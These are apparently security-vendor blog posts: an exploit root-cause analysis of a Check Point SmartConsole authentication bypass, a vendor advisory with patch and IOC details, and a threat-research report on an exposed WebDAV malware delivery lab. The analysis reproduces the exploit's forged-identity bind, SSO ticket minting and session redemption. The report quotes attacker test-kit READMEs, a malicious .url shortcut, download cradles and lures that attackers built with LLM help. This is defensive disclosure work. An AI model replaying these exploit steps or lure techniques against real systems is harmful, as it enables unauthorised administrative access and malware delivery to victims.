Shown above, the vulnerable “Take 146” accepts the caller's DN at [1]. The patched “Take 158” only allows a supplied DN for loopback CN=siclocal traffic at [2], which preserves the local application case. Remote clients now use the authenticated remote peer certificate DN at [3], and any mismatch between the supplied DN and that authenticated identity is rejected at [4]. The new empty identity check at [5] also prevents a remote application login when there is no authenticated SIC identity at all.

This is why replaying the management server's DN no longer works. The attacker can still send the same :DN text, but the patched remote path does not use that text as effectiveSicDn. If the client presents no certificate, as in our PoC, certificateDn is empty and the check at [5] rejects the login. If the client presents a certificate with some other DN, the mismatch check at [4] rejects the forged server DN. To make the supplied server DN survive the patched checks, the attacker would need an authenticated client certificate whose subject DN already matches that server DN, which removes the unauthenticated bypass.

Protocol flow to a SmartConsole session

The relevant application-layer traffic is shown below in the order our PoC sends it. For brevity, we have omitted the boilerplate CA and CRL bootstrap exchange as it is not pertinent to the vulnerability’s root cause.

After the SIC bootstrap, the PoC sends a certificate bind request that supplies the management server's own SIC DN (cp_mgmt,o=gw-5622ca..5otbwa in the example below):

(
    :local_bind (0)
    :token_bind (0)
    :DN ("cn=cp_mgmt,o=gw-5622ca..5otbwa") # <-- attacker-controlled identity
    :certificate_bind (1)
    :application_login ("CPM Server")
    :client_without_administrator (true)
)

Despite the :certificate_bind field name, the PoC does not load or present a client certificate in its Python TLS context. The bind request only provides the :DN claim as a text string. On a vulnerable server, the bind succeeds because the application login path accepts :DN as the effective SIC identity. The PoC then sends an open-database request, shown below, and receives the application login token described in Check Point's advisory.

(
    :type (command)
    :subject (open-database)
    :body (
        :Name ()
        :db_open_reason ()
        :dle_session_id ()
        :database ()
        :db_open_id ("(nil)")
    )
    :no-reply (false)
)

The open-database response is a binary-encoded FwSet object. The PoC extracts the 43-character DLE token from that response and then uses it as a CPM DLESESSIONID value.

The next step is to perform a gen-sso-token request. The forged application session asks FWM to create a SmartConsole ticket whose original client claims system_admin, local SOAP binding, and a permission bitmap indicating full permissions (i.e. all permission bits are set):

(
    :type (command)
    :subject (gen-sso-token)
    :body (
        :type (SmartConsole)
        :sso_original_client (SmartConsole
            :lower_name (system_admin)
            :soap_local_bind (1)
            :permissions ("ffffffff|ffffffff|ffffffff")
        )
    )
)

The native FWM authorization code has a special case for this command. If the current client is treated as a Check Point config administrator (which it will be), a gen-sso-token request is allowed before the normal permission mask check, as shown in [1] below. 

// Source: work/native_patch/t146/fw1/fw1/bin/fwm.full (fwm_is_authorized)

_BOOL4 __cdecl fwm_is_authorized(int a1, int a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
bool v6; // zf
int v7; // edx
int v9; // [esp+14h] [ebp-34h]
int v10; // [esp+18h] [ebp-30h]
const char *v11; // [esp+1Ch] [ebp-2Ch]
_DWORD v12[7]; // [esp+2Ch] [ebp-1Ch] BYREF

  v11 = *(const char **)a2;
  v10 = CPMIGetClientPermission(a1);
  v12[0] = 0;
  v9 = CPMIGetClientAdvancedPermission(a1);
  fwobj_getint(a1, g_szCPMI_SOAP_LOCAL_BIND, v12);
  if ( v12[0] != 1 )
  {
    if ( is_fwmalert_client(a1) && strcmp(v11, "fwm-alert") )
      return 0;
    v3 = fwobj_safe_get(a1, g_szCPMI_LOWER_NAME);
    if ( strcmp(v11, "gen-sso-token") || !fwm_isCpconfigAdmin(v3) ) // <-- [1]
    {
      // Normal command permission checks follow.
      // ...
      return 0;
    }
  }
  return 1;
}

The gen-sso-token response contains a new SSO ticket. The attacker then redeems that ticket through the normal SmartConsole SOAP login path. The request below shows only the fields that matter to this analysis:

POST /cpmws/LoginSvcRemote HTTP/1.1
Host: 192.168.86.15:19009
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:l="http://www.checkpoint.com/DleWebService/LoginSvcRemote"
 xmlns:d="http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <l:loginNew>
      <d:loginRequest>
        <d:applicationName>SmartConsole</d:applicationName>
        <d:domain>a0eebc99-afed-4ef8-bb6d-fedfedfedfed</d:domain>
        <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
          <d:username>system_admin</d:username>
          <d:SSOToken>512d49aa4c026d57177bea06dd28669c889479bfa8ea6d3b53fabe59ec9e0a2e</d:SSOToken>
        </d:authenticationInfo>
      </d:loginRequest>
    </l:loginNew>
  </soap:Body>
</soap:Envelope>

The loginNew response returns the two identifiers that SmartConsole uses for later requests:

<loginNewResponse>
  <return>
    <clientSessionId>ZMKhaQEsZ7bkMSlMVR7ARhvQIeTCdqwlvrcN-Ux4CvI</clientSessionId>
    <sid>hRA3CPLRpTalxBIiv3miYGFlLy6JNHYQwqcKhD4Aktg</sid>
  </return>
</loginNewResponse>

At this point, the attacker has moved from unauthenticated network access to a SmartConsole session identified by sid and clientSessionId. Ticket redemption is also the step that produces the advisory's log based IOC, with a message “Authentication method: application token” logged in the audit log, as shown in Figure 2 below.

figure2.png

Figure 2: Audit Log IOC.

Exploitation

Our PoC implements the minimum SIC/CPMI bootstrap needed to obtain the application token, mint the SmartConsole ticket, redeem it over SOAP, and display the results of several privileged operations before and after ticket redemption .

The following shows our PoC running against a vulnerable R81.20 target.

$ python3 CVE-2026-16232.py --target 192.168.86.15
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W45UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
    hostName: gw-5622ca
    hostIpAddress: 192.168.86.15
    osName: Linux
    osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 34bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
    admin: UNIX_PASSWORD
    Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD

For the purpose of demonstrating the vulnerability and the level of access the authentication bypass achieves, the PoC uses the authentication bypass to access some protected resources. Specifically, the PoC retrieves some basic system information via a call to getServerInfo, and retrieves the SmartConsole admin accounts via a call to GetAllAdmins.

First, the PoC uses the application token as a DLESESSIONID value for PerformanceTestSvcRemote.getServerInfo. The same SOAP method returns a fault without a valid session, while the application token returns the server information

The PoC then sends the same GetAllAdmins query twice, once with the application token and once with the redeemed SmartConsole session.

Using only the application token receives a successful query response with zero visible records, while using the redeemed SmartConsole session receives all records available.

Running the same PoC against a patched R82.10 target shows the malicious application bind request failing.

$ python3 CVE-2026-16232.py --target 192.168.86.16
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-16232 which contains further details.

CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild

By: Rapid7
23 July 2026 at 07:57

Overview

On July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as improper authentication (CWE-287). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.

Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.

The advisory addresses three vulnerabilities in total:

CVE

CVSS

Description

Affected Products

Exploitation Status

CVE-2026-16232

Vendor: 9.3 (Critical)
CISA: 9.1 (Critical)

Authentication bypass via SmartConsole application token

Security Management, Multi-Domain Management

Exploited in the wild

CVE-2026-62144

Vendor: 9.3 (Critical)
CISA: 9.1 (Critical)

Management authentication bypass and privilege escalation

Security Management, Multi-Domain Management

No known exploitation

CVE-2026-62145

7.5 (High)

Local privilege escalation in GaiaOS WebUI

Firewall, Multi-Domain Management, Multi-Domain Log Server

No known exploitation

Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's advisory, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.

Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, CVE-2026-50751, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.

Technical analysis

On July 28, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-16232. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to login to a vulnerable appliance via SmartConsole with full admin privileges.

Mitigation guidance

Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.

The following versions are affected by CVE-2026-16232:

  • R82.10: fixed in Jumbo Hotfix Take 36 and later

  • R82: fixed in Jumbo Hotfix Take 118 and later

  • R81.20: fixed in Jumbo Hotfix Take 158 and later

  • R81.10, R81, R80.30, R80.20, R80.10, R80, and R77.30: no fix specified

CVE-2026-62144 and CVE-2026-62145 affect the same release families (R81.10, R81.20, R82, R82.10) per the vendor advisory, with older versions also impacted.

Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:

  • Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets

  • Protect Management access with a firewall and restrict access to trusted IP addresses

  • Verify that implied rules for control connections are enabled

These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.

Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks available in the 24 July content release.

Indicators of compromise

Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:

  • 151.241.99[.]207

  • 151.241.99[.]233

  • 158.62.198[.]182

  • 192.142.10[.]99

  • 139.28.37[.]250

  • 194.213.18[.]137

Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.

Updates

  • July 23, 2026: Initial publication.
  • July 24, 2026: Updated to reflect availability of vulnerability checks.
  • July 28, 2026: Added a Technical analysis section for the new Rapid7 Analysis.

From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab

20 July 2026 at 09:00

Executive summary

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Category

Files

Functions and discoveries

LNK delivery launchers

453

Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths

Filename-spoofing QA

236

Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior

URL/LOLBin execution tests

146

Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution

Encrypted droppers

89

Staged second-stage payloads and installer-style packages

Alternative execution containers

24

search-ms, library-ms, .cpl, and related delivery containers

Payload stubs and spoofed executables

21

Smaller loaders, decoys, and renamed binaries

WebDAV scripts

17

Scripts intended to make WebDAV delivery more reliable on Windows systems

Builder and operator notes

10

README files, test reports, mappings, and generation scripts

ClickFix HTML lures

9

Browser-based social-engineering pages instructing users to run commands

Miscellaneous files

6

Included documentation for the actor’s WebDAV delivery/admin panel

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

testing-files-subfolders.png
Figure 1: Snippet of one of many subfolders containing testing files.

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

CVE

Observed samples

Short description

CVE-2025-33053

11

Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)

CVE-2026-21513

4

MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)

CVE-2025-24054

1

Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png
Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP


It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

Simba-Service-WebDAV-dashboard-CURP.png
Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

Execution-chain-PDF-lure.jpg
Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

  • Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.
  • Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

  • Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the final payload was PureRAT 4.4.3, a .NET-based information stealer and remote access trojan.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

DlrtyGames-execution-chain.jpg
Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
